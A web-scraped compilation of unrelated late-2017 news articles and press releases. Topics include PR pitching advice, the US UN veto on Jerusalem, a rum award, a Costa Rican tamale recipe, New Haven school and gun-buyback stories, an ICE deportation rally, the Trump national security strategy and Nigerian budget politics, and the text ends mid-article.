Hedebrandt from Airtame likes press releases even less than Schelle likes emailing. Consider how many marketers use impersonal press releases and youll realize your chances of getting coverage are low--theres just too much competition! The secret to the right pitch is rarely to do what everyone else is doing.

When using email, do it right. New York Times editor Caitlyn Kelly has stated that 99.9 percent of the emails I get are useless! And Mike Butcher, TechCrunchs Editor at Large has likewise said, PR people have zero clue how to pitch me.

Related: 5 Public Relations Tips to Help You Write a Pitch Someone Will Actually Read

Yet Hedebrandt points out that journalists really dont ask for much (see Butchers tips on Slideshare, for example). Write a precise subject line, get to the point, and make sure the topic is relevant right now for the journalist youre pitching.

Lesson: Be concise.

Andersen says, There is no such thing as an absolutely perfect pitch,' but he suggests using the following email template:

Introduction. (10-30 words)

Why youre pitching this specific journalist. (10-30 words)

Your story, including: a.) Why its relevant; b.) Why its news right now; and c.) Why it will benefit the journalist to cover it. (100-200 words)

Ask for their interest level. (5-10 words)

Include how to reach you.

Lesson: Relationships.

Remember, says Hallas of Mearto.com. PR is all about relationships.

Happy pitching!

Related:

4 Innovative Ways to Get Media Coverage

Is Sending Out a Press Release Really Worth the Money?

10 Commandments of Successfully Managing a Business Crisis



Copyright 2017 Entrepreneur.com Inc., All rights reserved



This article originally appeared on entrepreneur.com


The Trump administration wielded its first UN veto Monday, blocking a Security Council resolution that rejected the U.S. decision to recognize Jerusalem as the capital of Israel and move its embassy there.

"The United States will not be told by any country where we can put our embassy," Ambassador Nikki Haley told council members. The U.S. was isolated in the vote, with the other 14 members voting in favor of the text.

The draft resolution did not specifically mention the U.S. announcement, but noted its "deep regret at recent decisions concerning the status of Jerusalem." It also said, "Any decision and actions which purport to have altered the character, status, or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded."

Haley noted that it is the first time in more than six years that the United States has used its veto. "We do it with no joy, but we do it with no reluctance," she said. "The fact that this veto is being done in defense of U.S. sovereignty and role in the Middle East peace process is not a source of embarrassment to us; it should be to the remainder of the Security Council."

She said President Donald Trump's decision does not contradict existing Security Council resolutions, which constitute international law and date back decades. Haley emphasized that the administration supports the status quo of the city's holy sites and will support a two-state solution if that is what the parties want.

"It is highly regrettable that some are trying to distort the president's position to serve their own agendas," Haley said. She added that the U.S. had the "courage and honesty to recognize a fundamental reality" -- that Jerusalem is the capital and seat of the modern Israeli government.

The text, put forward by council member Egypt, sought to reaffirm earlier resolutions that conveyed a special status on the city, which is holy to Jews, Muslims and Christians, and leaves it as a final status issue to be resolved through negotiations.

Egyptian Ambassador Amr Aboulatta, whose delegation drafted the text, warned of repercussions of the U.S. decision and declared that the move would have no legal effect on Jerusalem's final status.

"Al Quds is one of the final status issues, which must be settled through peaceful negotiations between the Palestinians and Israelis," Aboulatta said, referring to Jerusalem by its Arabic name. "Any attempt at changing the facts on the ground in Jerusalem is considered one of the illegal, unilateral measures that will have no legal impact whatsoever, since it comes in violation of international law," he added.

"Because of its unmatched symbolic and emotional dimension, Jerusalem is the key to peace between Israelis and Palestinians," French Ambassador Francois Delattre told reporters. "Without an agreement on Jerusalem, there will be no peace accord. This is why an agreement on Jerusalem can only be decided by the parties themselves, with the support of the community of nations, and not by the unilateral decision of a third country that would bring us back one century ago," he added.

While Britain's envoy reiterated his government's disagreement with the Trump administration's decision, he said the U.S. would still continue to play an extremely important role in the search for peace.

"We commend President Trump for his efforts and energy in that direction, and we call on the U.S. administration to put forward concrete details, proposals, as soon as possible to take that process forward," Ambassador Matthew Rycroft told reporters.


This distinction, the highest within the global spirits industry, is the most powerful endorsement of Flor de Cana's quality and excellence. Flor de Cana, a 5 th generation single family estate rum, is naturally aged without sugar, additives or artificial ingredients, enriched by an active volcano and distilled with 100% renewable energy.

About Flor de Cana Rum

Flor de Cana, Nicaragua's #1 exported brand, is present in over 40 countries worldwide and is one of the fastest growing premium rum brands in the United States. With more than 125 years and 5 generations of family tradition, Flor de Cana has been recognized as the world's best rum in prestigious international competitions in London, Madrid, San Francisco and Chicago. Flor de Cana, the leading premium rum in Central America, is manufactured and distributed by Compania Licorera de Nicaragua, S.A. (CLNSA).

SOURCE Flor de Cana

For further information: [email protected], http://www.flordecana.com

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TORONTO, Dec. 19, 2017 /CNW/ - The Steelworkers Humanity Fund is contributing $196,850 to 106 food banks and community food centres across Canada.

"The Steelworkers Humanity Fund is proud to contribute to food banks and community food centres in communities across Canada where our union's members live and work. The Humanity Fund supports organizations that assist those experiencing poverty and vulnerable members in our communities who rely on these services to make ends meet," said Ken Neumann, President of the Steelworkers Humanity Fund.

"Members of the United Steelworkers union are reliable partners in our communities. In addition to raising money and making donations, our members are making connections and building community through volunteer work with charities, food banks and other organizations making a difference for those who are struggling," added Neumann.

"In a country as prosperous as Canada, it is shameful that poverty and inequality are increasing. Steelworkers know that beyond our charitable work, we must continue to demand that governments address the underlying causes of poverty and inequality. We call for a national anti-poverty strategy that sees the elimination of poverty as a human rights issue and we support federal and provincial campaigns for fair minimum wages."

Founded in 1985, the Steelworkers Humanity Fund is a registered charitable organization that focuses primarily on development projects and emergency aid in developing countries, but also supports Canadian communities in crisis. USW members contribute to the fund through clauses negotiated into collective agreements. In some cases employers make matching contributions to the fund.

View the list of food banks and community food centres receiving 2017 contributions from the Steelworkers Humanity Fund.

SOURCE Steelworkers Humanity Fund

For further information: Ken Neumann, President, Steelworkers Humanity Fund, 416-544-5951; Doug Olthuis, Executive Director, Steelworkers Humanity Fund, 416-859-9953, [email protected]; Bob Gallagher, USW Communications, 416-544-5966, 416-434 2221, [email protected]
While tamales are a common dish throughout Central and South America, Ticos have their own twist on the recipe. Authentic Costa Rican tamales include rice, garbanzo beans and potatoes. They can also be made with chicken, beef, pork or a combination of these. For a new take on holiday dinner traditions, invite family and friends over, turn on the festive music and give this traditional chicken tamal recipe a go.

Costa Rican Chicken Tamales Recipe

The recipe below uses two whole chickens, but can easily be replaced with any meat of your choice.

Ingredients

Meat and stock

2 whole chickens, cut into pieces

3 bunches celery, cut in large chunks

2 red bell peppers, cut in chunks

2 onions, cut in slices

2 carrots, cut in large pieces

1 bunch of cilantro

1 bunch of parsley

Fresh oregano and thyme

Salt, pepper, Worchester sauce, annatto paste

1 garlic head

Oil

Tamales

6 cups ground corn masa

6 cups mashed potatoes

250 grams base of ground pork rind

1  cups pork lard

16 cups stock from the meat

Salt and pepper

3-4 Tbsp complete seasoning

Powdered hot chili pepper (optional)

1 tsp garlic powder

Fillings

Chicken meat

Rice cooked with annatto paste

Stuffed olives

Capers

Garbanzo beans

Sweet whole kernel corn

Strips of roasted peppers

Petit pois

Prunes

Raisins

Black beans

Peeled carrots, cut in julienne strips and cooked al dente with salt and sugar

Green beans, cut in pieces and cooked al dente with salt and sugar

Wrap

Clean plantain leaves

Butcher's twine

Instructions

In a heavy pot, in oil, fry chicken until golden brown. Then add 20 cups of water, which you will bring to a boil. Once boiling, add vegetables, garlic, Worchester sauce, salt and pepper. Cook on low heat, until chicken is tender. This should yield about 16 cups of stock, but you can add more water if necessary. Shred chicken by hand and reserve stock.

Mix ground corn masa and mashed potatoes together. In food processor, blend pork rind and pork lard with stock and add to masa. Process for a few minutes, until smooththe consistency should be like a soft porridge. Add complete seasoning.

Cut plantain leaves into 12 inch rectangles. Align the two leavesone horizontal, the other vertical. In the center of the leaves place a cup of corn masa, a piece of cooked chicken, a tablespoon of rice, 2 olives, 4 chickpeas, 1 tablespoon of corn, capers, raisins, one prune, a little petit pois, green beans, carrots, mashed beans and a slit of roasted pepper. For a vegetarian option, tamales can instead be filled with mashed potatoes, beans and vegetables.

To close the tamal, roll from the center and fold the edges towards the inside. Proceed likewise with the second plantain leaf and securely tie together with butcher's twine. Line the bottom of a large pot with extra plantain leaves. Fill the pot halfway with water, bring to a boil and add salt. Place tamales in water and cook for 45-60 minutes. Serve warm.

Traditionally, Costa Rican tamales are cooked over a firewood fire to enhance their flavors. Try this method and enjoy your tamal with a cup of coffee for a complete Tico experience.

For more information on Costa Rica, visit www.visitcostarica.com

About Costa Rica

Nestled between Nicaragua and Panama, Costa Rica offers visitors an abundance of unique wildlife, landscapes and climatesa trip to this Central American country is anything but run-of-the-mill. The country proudly shelters approximately five percent of the known biodiversity in the world and has become a global leader in sustainable practices. Visitors to Costa Rica enjoy a highly organized tourism infrastructure offering a broad terrain of activities and accommodations.

About Instituto Costarricense de Turismo (ICT)

Established in 1955, the Costa Rica Tourism Board (the ICT), alongside its partners in the private sector, spearheads the vital task of regulating and promoting Costa Rica's extensive tourism offerings.

SOURCE Costa Rica Tourism Board

For further information: Ines Cano, Cheryl Andrews Marketing Communications, 305-444-4033, [email protected], http://www.visitcostarica.com

Related Links

http://www.visitcostarica.com


NEW HAVEN  Former Hartford and Bridgeport schools administrator Carol Birks officially took over as New Havens new superintendent of schools Monday night  at a $245,000-a-year salary  after the Board of Education approved her contract by a 5-2 vote.

Birks, chief of staff in Hartford Public Schools, narrowly won a 4-3 vote in a contentious November meeting in which the board voted to negotiate a contract with her.

Mayor Toni Harp and fellow board members Frank Redente, Darnell Goldson, Jamel Cotto  and Che Dawson, who previously voted against negotiating a contract with Birks  voted Monday night to approve the contract as negotiated by the boards attorney.

Board President Ed Joyner and board member Carlos Antonio Torre voted against the contract.

The contact will pay Birks $235,000 plus a $10,000 payment to a tax-sheltered annuity in the 2018-19 fiscal year, $239,700 plus a $10,200 payment to a tax-sheltered annuity in the 2019-20 fiscal year and an amount to be determined  but no less than the 2019-20 figure  in 2020-21.

Former Superintendent of Schools Garth Harries was hired in 2014 at $193,000 a year.

New Haven Public Schools Chief Operating Officer Will Clark said the initial contract rate will go into effect when Birks begins work in March. Interim Superintendent Reginald Mayo, who served as New Havens superintendent for 21 years before retiring in 2013, is expected to continue for a few months, Clark said.

Under the terms of Birks contract, she will enjoy the same health insurance benefits; sick leave; vacation, personal and bereavement leave as other district administrators and will be paid term life insurance at twice her annual salary, according to a summary provided to the board.

In addition, her memberships in professional and civic organizations will be reimbursed as approved by the board president. She will receive the same automobile and technology allowances as the previous superintendent and the board will reimburse reasonable and necessary expenses for her to move to New Haven, the summary states.

Birsk must establish residence in New Haven by July 1, 2018.

Under the contracts terms, the superintendent may terminate the contract with 90 days notice. Both parties may terminate the contract by mutual agreement at any time. The board may terminate the contract for cause at any time and may terminate the contract without cause on 90 days notice, provided it pays salary and benefits remaining on the contract.

The school boards decision to approve Birks for the role was met with a fair amount of controversy and tension.

It all came to a head at an explosive meeting in November when the board voted 4-3 to negotiate a contract with her .

Dozens of parents, teachers and students who organized a petition opposing Birks with more than 1,000 signatures inside and outside of the community jeered the school boards decision. Joyner was escorted out of the building after challenging Goldson to an altercation.

Birkss critics, who greatly outnumbered her local supporters at public meetings, criticized her closeness with school privatization efforts, her limited classroom experience, her expressed affinity for data and a perceived inability to deliver results as a principal and administrator in Bridgeport and Hartford. Supporters were predominantly local clergy leaders, some of whom have also expressed support for charter schools, and alumnae of her sorority Delta Sigma Theta Sorority Inc.

The search to replace former Superintendent Harries lasted more than a year, following Harries departure from the district on Nov. 1, 2016.

Following the July death of then-President Daisy Gonzalez, originally an appointee of former Mayor John DeStefano Jr. and a member of a five-member majority bloc on the school board, the two factions of the board fought for control of the pace of the ongoing search for a superintendent.
HARTFORD  Francisco Antonio Acosta Serna, a janitor at Wesleyan University who helps students on his break with their math, is the latest undocumented individual being directed by Immigration and Customs Enforcement to leave the country.

A former math and chemistry teacher for 18 years in Colombia, Acosta Monday said he fled in 2001 after his life was threatened by the guerrillas at a particularly violent period in that countrys long war.

Federal and state officials, friends and representatives of Wesleyan rallied in front of ICEs offices Monday morning before Acosta had to check in with the agency, asking that the deportation be stayed and his asylum case, which was denied in 2009, be reopened.

Acosta said some 40 members of his family are U.S. citizens, while another 40 are permanent residents.

My entire family lives in the United States, Acosta said.

A resident of Hartford, Acosta is the main caretaker for his 82-year-old mother, who is battling cancer. He said she also plans to reapply for Acosta to become a resident here.

Addressing the crowd, Acosta said when he fled he left behind his wife, with whom he has only been able to communicate by phone over the last 16 years. He also has two grown sons who have gone to live in Europe.

By coming here, I lost my wife and my children. Now, if I were to go to Colombia, I would also lose my mother, Acosta told those rallying outside the agency, the same building that houses U.S. District Court.

A spokesman for ICE said Acosta was issued a final order of removal by a federal immigration judge in 2007. He appealed this decision to the Board of Immigration Appeals in 2007, which was denied in 2009. As a measure of discretion, Mr. Acosta was not placed in ICE custody, however, he is required to report to the ICE office with proof that he intends to depart the U.S. in accordance with his final order of removal.

Michael Roth, president of Wesleyan, issued a statement last week, pledging the universitys support.

Wesleyan has tried to be helpful to Francisco, and we will continue to reach out to his union and attorney to see how we can be most useful. I am contacting key congressional members to enlist their support, and we will do our best to reverse what seems to be an unjust, mean-spirited effort to deport a valued member of our community, Roth wrote.

U.S. Sen. Richard Blumenthal, D-Conn., attended the rally.

Whatever ICE does, they should care for this man, and others like him, who can give back to America and who are here to escape persecution, seek asylum and pursue the American Dream. That is what America is about. We are talking about one human being, but it is a matter of principle and values. Sending Francisco Acosta out of this country would betray values, Blumenthal told the crowd.

He cares about this country. He cares about his mom and we should care about him, Blumenthal said. He directed his message to President Trump to help Acosta, who is seeking safety in this country from the forces of evil, persecution and violence.

The rally was organized by 32BJ of the Service Employees International Union, of which Acosta is a member.

Acosta had gotten several deportation stays until he checked in earlier this month with ICE and was told to leave the country by Jan. 15. His lawyer, Manuel Nieves, has applied for another stay of removal.

This is the start of a process that we hope will lead to a stay in the future, based on the significant humanitarian grounds that ICE will consider, Nieves said in a statement.

Acosta was fitted with a GPS ankle bracelet after this visit to ICE Monday.

Hartford Mayor Luke Bronin, state Rep. Matthew Lesser of Middletown, state Rep. Edwin Vargas of Hartford and state Rep. Michael DAgostino, of Hamden, all Democrats, were among those who spoke.

Bronin is considering a run for governor, while DAgostino may seek the Democratic nomination for attorney general; Lesser had, at one point, considered running for secretary of the state.

Bronin said there have been multiple rallies in front of the ICE offices, organized around a common theme.

The individuals that ICE is looking to tear away from their families and send home are individuals who came here seeking safety from violence. They came here and built a life. They came here and obeyed the law. They came here and worked hard. They came here and raised families ... In many cases, their family members are American citizens, Bronin said.

He said sending them home does not make our communities stronger. It makes nobody safer and it makes no sense. It is cruel and it is senseless. Bronin said he was raising his voice with others for a compassionate. common sense approach to immigration.

DAgostino said justice is blind, but we cant be blind. Weve got to see what is happening here. Weve got to see what is happening in this country with the policies of this administration. Weve got to see what they are doing to Francisco and his family, what they are doing to working men and women, 32BJ and other unions ... Most importantly weve got to see that this is tearing apart ... the very foundation of this country because we are all children of immigrants here.

Lesser said we have to work for immigration reform, but in the meantime we will do everything we can to have your back, he said to Acosta.
"We do live in a global competition and how we advance our goals is more critical than ever," the senior administration official said. "We must compete."

Administration officials say despite their concerns, the new national security strategy is not meant as a repudiation of the strategies laid out by former President Barack Obama or even former President George W. Bush. Instead, they say the document is an "encapsulation" of the strategy President Trump has advocated, both while campaigning for the presidency and once in office.

"[It] that will really serve as a foundation for subsequent strategies," the official added, alluding to soon to be released defense and counterterrorism documents.

"The global balance of power has shifted in unfavorable manners to American interests," a senior administration official said Sunday. "This new strategy presents a plan of how America can regain momentum to reverse many of these trends."

President Trump explained how much of the strategy is already impacting U.S. policy during a speech Monday in Washington. Senior administration officials say unlike recent, past strategies, it takes a "clear-eyed view" of the dangers and challenges facing the country, while prioritizing U.S. interests in line with the presidents calls to put "America First."

U.S. President Donald Trump's new national security strategy will provide the country with a "clear and actionable playbook" to counter the most dangerous and persistent threats, according to senior administration officials. The White House unveiled the strategic document Monday, almost 11 months after his administration began work on it.

At the same time, the new strategy seeks to push back against the notion that President Trump's campaign rallying cry of "America first," should be interpreted as "American alone."

Yet some see this as an area in which the Trump administration could struggle, especially given the way the new strategy priorities and emphasizes U.S. economic interests.

"Focusing on protection of American economic interests in a global marketplace painted with rivals, rather than partners, will discourage the use of multilateral trade agreements in a global economy marked by partnership," said Nicholas Glavin, formerly a researcher at the U.S. Naval War College's Center on Irregular Warfare and Armed Groups.

Glavin, who is currently studying at The Fletcher School of Law and Diplomacy, says that could actually weaken U.S. attempt to compete against key rivals on the word stage. "Where Washington won't lead, others will, most notably Beijing," he said. "In the long term, this hurts the U.S. much more than multilateralism in the global economy would."

But administration officials insist the strategy will reaffirm the United States' commitment to its allies. They also say it affirms the U.S. commitment to NATO and the United Nations, though they are clear that Trump believes reforms at both organizations are long overdue.

Nor will the U.S. rule out working with countries like China and Russia. "The nature of competition doesn't mean you don't also cooperate," said another senior administration official. "We talk about cooperation, about cooperation with reciprocity."

For example, officials said the U.S. sees China as a key partner in the effort to rein-in North Korea's aggression and nuclear ambitions, despite what they described as Beijing's economic aggression toward the U.S.

Already, there are some who doubt China will respond well. "Trump's words are always illogical," said Shi Yinhong, the director of the U.S. Center at China People's University in Beijing. "China doesn't care much about what he says but what he does."

"His flattering China visit is pleasing to Beijing, but what concerns Beijing the most is the U.S. doesn't touch Taiwan," Shi said.

Officials pointed to Sunday's phone call between Russian President Vladimir Putin and President Trump, when Putin thanked the U.S. and the CIA for sharing intelligence to thwart a terror plot, as a "great example where there's a shared interest."

"We've seen some of that also this year in Syria against ISIS in deconfliction in trying to set up safe zones," the official said. "We're certainly better off right now than we were several months ago when both the secretary of state and the president remarked that the [U.S.-Russia] relationship seemed to be at a low point," the official added. "But we still see a lot of areas where our interests just don't align or directly conflict."

A prime area of conflict with Russia is over what McMaster, the president's national security adviser, has called "sophisticated campaigns of subversion and disinformation." And an unclassified U.S. intelligence report released last January concluded Russian President Vladimir Putin waged what it described as an unprecedented "influence campaign" in an effort to sway the 2016 U.S. presidential election in favor of then-candidate Donald Trump.

Yet when asked, other senior administration officials would not say how the new National Security Strategy will address such concerns, saying other actors, including China and terror groups have also increasingly used such techniques.

There are also areas where the new national security strategy departs dramatically from the previous administration's policies. President Barack Obama's 2015 National Security Strategy placed an emphasis on promoting and defending democracy and human rights.

The new Trump doctrine takes a different tact. "We mention all the components of making a democracy: tolerance, liberty, freedom of religion," said one of the senior administration officials. "But building on what local partners want so we're not imposing our way of life, so we're not imposing democracy."

Obama's 2105 strategy also called on the U.S. to confront "the urgent crisis of climate change." The Trump national security strategy does not. "Climate change is not identified as national security threat," said one of the officials. "The importance of the environment and environmental stewardship are discussed."

The new national security strategy has already gotten the approval of key officials, including Defense Secretary Jim Mattis, Secretary of State Rex Tillerson and Treasury Secretary Steve Mnuchin, as well as Director of National Intelligence Dan Coats and CIA Director Mike Pompeo.


On Dec.16, New Haven Police held a gun buy-back at the Police Academy on Sherman Parkway. Like previous buy-backs, it was organized in partnership with the Injury Free Coalition for Kids of New Haven, the Yale New Haven Childrens Hospital Injury Prevention Program and the Newtown Foundation. Saturday was National Gun Buyback Day and buybacks were held not only in New Haven but in Boston, Providence, Worcester, Hartford and other cities and towns in the northeast.

The buyback provided American Express and/or Stop & Shop gift cards to those who turned in any working firearm. Those turning in a firearm received $200 in gift cards for an assault weapon, $100 for a pistol or revolver handgun, $50 for a rifle or shotgun, and $25 for a single or double-shot handgun. The New Haven police reported that 138 guns were turned in, more than in any previous buyback and precisely 100 more than were taken in by the Hartford buy-back the same day. Included in the 138 firearms were 74 handguns, 60 rifles and shotguns, and two assault weapons. Over the past five years, a total of 700 weapons have been brought in to the New Haven buy-backs.

While thereve been many efforts in the past to buy back guns, the New Haven program, like those in Hartford, Worcester and other cities in the northeast, are modeled on one that Dr. Michael P. Hirsh started in Pittsburgh in 1994 in memory of a fellow surgeon who was shot and killed while walking home from work at a New York hospital. Since then, the Pittsburgh program has taken in more than 11,000 guns.

In 2002, Hirsch, who had moved to the University of Massachusetts Medical Center in Worcester and is now surgeon-in-chief in the Childrens Medical Center there, started an annual buyback program in Worcester. Since then, the Worcester program, supported by the medical center, the city, the police department and the district attorneys office, has taken in more than 3,100 guns. This year the Worcester program was expanded to 15 cities and towns in central Massachusetts and took in a total of 200 guns.

Skeptics argue that buy-back programs dont prevent gun violence, that they only take in guns from law-abiding citizens who would never use them in a crime and dont reach those who are likely to use them in a crime. But the skeptics ignore an unfortunate fact of urban life: Guns can and do move very easily from one person to another, by sale, theft or exchange, into and within a city. As a result, its quite possible that a gun currently in the possession of a law-abiding citizen will someday fall into the hands of someone who will use it in a shooting.

Some argue that buy-back programs are ineffective and dont reduce the aggregate amount of gun violence. Theres of course no way to prove they do reduce gun violence since its impossible to prove that a gun that was turned in would otherwise have been used in a shooting. But what can be said is that buybacks remove guns from possible circulation and in so doing may prevent a shooting  perhaps a fatal shooting  at some future time.

Over the last several years, at a time when the country has experienced a dramatic increase in gun violence, New Haven has experienced a substantial decrease in the annual number of homicides, non-fatal shootings and reports of shots fired. Those decreases reflect the effectiveness of the measures undertaken here to stop gun violence  a renewed commitment to community policing, increased patrols and walking beats, deployment of a shooting task force, increased cooperation with state and federal law enforcement, Project Longevity, expanded use of shot-spotter technology, and data-driven analytics to identify potential hot spots and shooters.

Those measures have brought the number of homicides and non-fatal shootings down from the highs that occurred in 2011, when there were 34 homicides, 133 non-fatal shootings, and 426 reports of shots fired. Nevertheless, there is still a lot of gun violence in the city; in 2013, there were 13 homicides, in 2014 there were 15, in 2016 there were 13. Even one is one too many.

No one imagines that repeated gun buy backs will bring an end to gun violence in New Haven or any other city. But they may save lives, perhaps many lives. After all, every gun thats turned in is a gun that will never fall into the wrong hands and be used in a shooting.

David R. Cameron is a professor of political science at Yale.


Nigerians may not have heard the last about the passage of the 2018 budget presented to a joint session of the National Assembly by President Muhammadu Buhari on November 7 . Nigerians may not have heard the last about the passage of the 2018 budget presented to a joint session of the National Assembly by President Muhammadu Buhari on

Senators in plenary Tuesday threatened to dump the fiscal estimate over alleged inconsistencies and abysmal performance of the 2017 budget.

The lawmakers took turns to criticize the performance of the 2017 budget, taking cognizance of what they called extremely low releases by the Ministry of Finance to fund projected capital projects.

They insisted that the promised passaged of the 2018 budget before the end of the year was no longer feasible.

The senators said that the promise by President Buhari that 40 per cent of the 2017 budget would be achieved before the end of the year while remaining the balance of 60 per cent would be rolled over to 2018, has not be adhered to.

The lawmakers were particularly irked by the observation that Ministries, Departments and Agencies (MDAs), only attained 15-20 per cent 2017 budget performance.

This, they said, was despite repeated assurances by the executive arm that improvement in releases of funds will be made.

Most MDAs, they said, were yet to receive funds to pay salaries and as well as fund other recurrent components of the 2017 budget.

For them, the declaration by the Minister of Finance, Mrs Kemi Adeosun, that N750 billion had been released, remained questionable.

Senate President, Abubakar Bukola Sarakis intervention saved the day as no resolution was taken at the end lengthy debate on the performance of the 2017 budget.

Many of those who contributed to the debate wanted the lifespan of the 2017 budget to be extended to 31st of March, 2018 .

It was the opinion of the speakers that until the 2017 budget attained a high level of performance, the implementation of the budget should not be truncated by the passage of the 2018 budget.

The debate of the performance of the 2017 budget followed a closed door session where the lawmakers were also said to have bared their minds.

Although Saraki broached the issue of what really transpired at the closed session, Deputy Senate Leader, Bala Ibn NaAllah raised a point of order.

NaAllah cited Order 42 and 45 of the Senate Standing Rules to buttress his point.

The Kebbi South lawmaker told his colleagues that the plan to pass the 2018 budget before the end of 2017 was no longer feasible due to prevailing circumstances.

He warned that the prevailing template of the budget will continue to pose serious challenges to the Federal Government in the implementation of the budget.

NaAllah noted that the template was developed and adopted during the Military era specifically when Kalu Idika Kalu was Finance minister.

He said that issue should be extensively discussed in order to proffer solutions.

NaAllah said: I feel that there are certain aspects that the Senate has so many things to discuss. When we suspended the plenary for two weeks, the intention was to enable committees work. They are supposed to report progress in order to enable the Senate pass the budget before the end of the year or early next year.

When we suspended plenary, it was with the idea that the committees will swing into action so we can have a tentative date to pass the budget. From what I have seen, we might run into troubled waters. If we have not appreciated what the problems are, it is important for Nigerians to come here and understand what the problem is.

The template we are using will continue to create problems for us. It was created during the Military era. The template cannot work in our country today. From reports we have had, it is obvious that we have problems. We need to know what the problems are. If we have a 2017 budget that has not been executed today and we are considering the 2018 budget, it means there is a problem.

The President told us that the 2017 budget was going to achieve at least 60 per cent performance. Today, that has not happened. We need to lay this issue and discuss it. Let us put the facts before the Executive and show Nigerians the difficulties we are facing.

Senator Barnabas Gemade, in his contribution suggested that the consideration of the 2018 budget be suspended.

He also suggested that the lifespan of the 2017 budget be extended to end of March of 2018.

Gemade said, This point of order raised is important because of what the public is waiting for. Our two weeks committee work should have led us to where we will lay the report and pass the budget. As was indicted, we need to appreciate the efforts of the executive who is trying to return the budget year from January to December.

What we have seen is far from the 40 per cent capital project implementation we were told. In many MDAs, budget performance is hovering between 12 to 15 per cent. In early November, the borrowing plans were brought and we approved it. They said they were going to release more funds. As of now, we cannot say if that is true.

In defending the budget, MDAs are supposed to bring their 2017 budget performance to committees. When you look at the budget proposals brought here, many things captured in the 2017 budget were not rolled over. Committees and MDAs need to do some work.

We have to set a date for the implementation of the 2017 budget based on the borrowing plans we approved. I therefore propose that we set March 31st for the 2017 budget to be implemented before we can start working on the 2018 budget. We need to guide against abandonment of ongoing projects.

Senator Solomon Adeola wondered why the Senate should consider and approve the 2018 budget, when the performance of the 2017 budget is unknown.

The Lagos West senator prayed the Senate to invite the Minister of Finance, Mrs Adeosun to brief the chamber on the troubling low performance of the budget and why her Ministry is not releasing funds.

Adeola said, How can we approve the 2018 budget without knowing the performance of 2017 budget? This is abnormal. From the recent budget defences, it is obvious that MDAs are not ready. Year in, year out, the budget performance is low. Last week, a Minister was asked to excuse lawmakers because he did come prepared. He did not come with the necessary documents to defend the budget of his Ministry.

We need to show to Nigerians that the National Assembly is ready to approve the budget. Remember that the President during the presentation of the 2018 budget, said the performance of the 2017 budget will attain at least 40 per cent. But that has not been done. I am suggesting that we invite the Minister of Finance to brief us on the performance of the 2017 budget. We need to be told.

Remember how the Executive submitted the MTEF and withdrew it again. It submitted it and withdrew it again. It shows the lack of seriousness on the part of economic managers of the country.

Chairman, Senate Committee on Public Account, Senator Matthew Urhoghide, noted that the consideration of the 2018 budget be suspended, pending when the 2017 budget will attain appreciable level of performance.

He said, I want to say that the budget of 2018 is already bedeviled. For us to be able to determine the 2018, we need to see the performance of 2017. Many MDAs are complaining that what they are getting for recurrent expenditure is not even for them. More worrisome is the capital expenditure.

Last week, the Minister of Finance announced that N750 billion had been released. If this money has been released, MDAs are yet to get this money. With the envelope budgeting they are doing, we do not know what has been given to MDAs.

I want to say that every consideration about the 2018 budget should be put at bay. This executive is not serious. Let them tell us what they have done with the 2017 budget. The budget presentation is an annual ritual that is not benefiting anybody, he said.

Senator Mohammed Hassan, (Yobe South) proposed the setting up of a technical committee to come up with a standard format on how to handle the 2018 budget.

He specifically listed the inclusion of N8.5 billion in the budget of Ministry of Power for counterpart funding of the Mambila Power projected when the National Assembly had already approved a loan of $5.5 billion for the presidency.

He noted that the Senate was told that part of the $5.5 billion loan would be used for the counterpart funding of the Mambila power project.

Hassan said: Many of us have been made to do the work of the executive. We need to set up a small technical committee to come up with a standard format on how to handle the 2018 budget. It is very important to do that.

Senator Dino Melaye, on his part, described the 2018 budget as a boju boju document.

The Kogi West lawmaker said that it was obvious that the 2018 budget proposal was garnished with deception.

He stated: The President of the Federal Republic of Nigeria, Muhammadu Buhari, said during the budget presentation that the 2017 budget will be rolled over. I took the 2017 budget and went through it page by page. There is no relationship between the two documents. The budget we received was a boju boju budget. Why do we package a 2018 budget that was garnished with deception

There is about N850 trillion with the CBN. There is an outstanding of N1.5 trillion from collection of stamp duties with the CBN. This money has not been remitted. Yet we took over N2 trillion loan. We need to strengthen the office of the Accountant-General of the Federation.

The NNPC was supposed to remit hundreds of billions of naira last year. They did not do that. Yet, we say we are fighting corruption. We cannot continue in sin and ask grace to abound. The issue of discussing the 2018 budget should not even arise.

Enough is enough. We must ensure that the 2017 budget is properly implemented. We must ensure that the budget is an elitist. What they have brought to us is a just a proposal. We need to give Nigerians a budget that will benefit Nigerians.

Saraki who did not subject the points and proposal made to vote noted that if the executive refused to act, by rolling over the 2017 budget as promised, it will be a disaster.

Saraki added that lawmakers are not magicians.

He said, Truly, it is very disheartening and disappointing because we know how much we have put into the budget process. How can anybody who is responsible travel at this period when the budget defence is ongoing?

The budget has not been implemented. We cannot be magicians. We just have to work and give a good budget to Nigerians. The executive really needs to sit up. If they have refused to roll over the 2017 projects into 2018, it is a disaster. We have to work with what we have.
Abdulsalami Abubakar, former Military Head of State on Monday paid President Muhammdu Buhari a visit at the presidential villa.The Presidents Personal Assistant on New Media, Amad Basir announced the meeting via his twitter handle.However, the reason for the meeting was not disclosed as at the time of this report.Ahmad wrote President@MBuhari this evening, received in audience former Head of State, H.E. Abdulsalam Abubakar in his residence at the Presidential Villa, Abuja.Recall that Abdulsalami Abubakar, former Military Head of State, weeks ago begged Nigerians to support Buhari to maintain peace and harmony across the country.
The row over the $1 billion anti-Boko Haram battle fund to be withdrawn from the Excess Crude Account (ECA) grew yesterday, with the rul...

The row over the $1 billion anti-Boko Haram battle fund to be withdrawn from the Excess Crude Account (ECA) grew yesterday, with the ruling All Progressives Congress (APC) and the opposition Peopes Democratic Party (PDP) throwing darts at each other.The APC described the allegation by the PDP that the government planned to pump the money into its reelection as ludicrous and baseless.It asked the PDP to demand for accountability in the spending of the fund rather than imputing political motives.APC National Publicity Secretary Bolaji Abdullahi said in a statement that being in opposition did not imply opposing everything before one has the opportunity to understand the issues.Abdullahi said the NGF that approved the money had 11 PDP governors, who would not support voting money to fund another party.He noted that the allegation that the money was meant for the APC to prosecute its 2019 campaign only implied that the PDP was accusing its governors of anti-party activity.The statement reads: We note the statement issued by the PDP on the issue of $1 billion approved for the Federal Government from the Excess Crude Account (ECA) for the prosecution of the war against terror.We also note the preposterous allegation by the PDP that the real purpose of the said $1 billion was to fund our partys presidential activities, ahead of 2019. We find this allegation baseless and ridiculous, to say the least.The NGF that granted the approval has 11 PDP governors as its members. This means that more than one-third of NGF is made up of members of other parties other than the APC.We wonder how the governors who are not members of our party would support the decision to approve funds that were ostensibly meant to fund another party. In essence, the 